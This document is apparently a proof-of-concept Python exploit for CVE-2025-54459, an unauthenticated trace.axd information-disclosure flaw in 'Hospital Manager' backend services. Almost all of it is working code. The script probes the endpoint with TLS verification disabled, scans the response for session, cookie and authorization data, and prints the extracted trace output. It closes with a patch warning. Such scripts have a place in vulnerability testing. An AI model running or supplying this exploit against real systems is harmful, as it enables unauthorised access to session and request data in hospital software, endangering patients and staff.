CVE-2025-54459 Hospital Manager trace.axd未授权访问信息泄露漏洞

import requests import sys # CVE-2025-54459 PoC - Hospital Manager trace.axd Information Disclosure # Target: Hospital Manager Backend Services # Vulnerability: Unauthenticated access to ASP.NET trace endpoint def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-54459 The /trace.axd endpoint should not be accessible without authentication """ trace_endpoint = "/trace.axd" full_url = target_url.rstrip('/') + trace_endpoint headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: response = requests.get(full_url, headers=headers, timeout=10, verify=False) # Check if trace endpoint is accessible if response.status_code == 200: content = response.text # Check for sensitive information in response sensitive_keywords = ['session', 'cookie', 'authorization', 'request', 'path', 'server', 'variable'] found_sensitive = any(keyword.lower() in content.lower() for keyword in sensitive_keywords) if found_sensitive: print(f"[+] VULNERABLE: {full_url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Sensitive information detected in trace output") print(f"[+] Response length: {len(content)} bytes") return True elif response.status_code == 404: print(f"[-] NOT VULNERABLE: trace.axd endpoint not found") return False else: print(f"[*] UNCERTAIN: Status code {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return False def extract_sensitive_info(target_url): """ Extract sensitive information from trace.axd endpoint """ trace_endpoint = "/trace.axd" full_url = target_url.rstrip('/') + trace_endpoint try: response = requests.get(full_url, timeout=10, verify=False) if response.status_code == 200: print("\n[+] Extracted trace information preview:") print(response.text[:2000]) except Exception as e: print(f"[-] Failed to extract info: {str(e)}") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-hospital-manager.com" print(f"[*] Testing target: {target}") print(f"[*] CVE-2025-54459 PoC\n") is_vulnerable = check_vulnerability(target) if is_vulnerable: extract_sensitive_info(target) print("\n[!] WARNING: System is vulnerable. Apply security patches immediately.")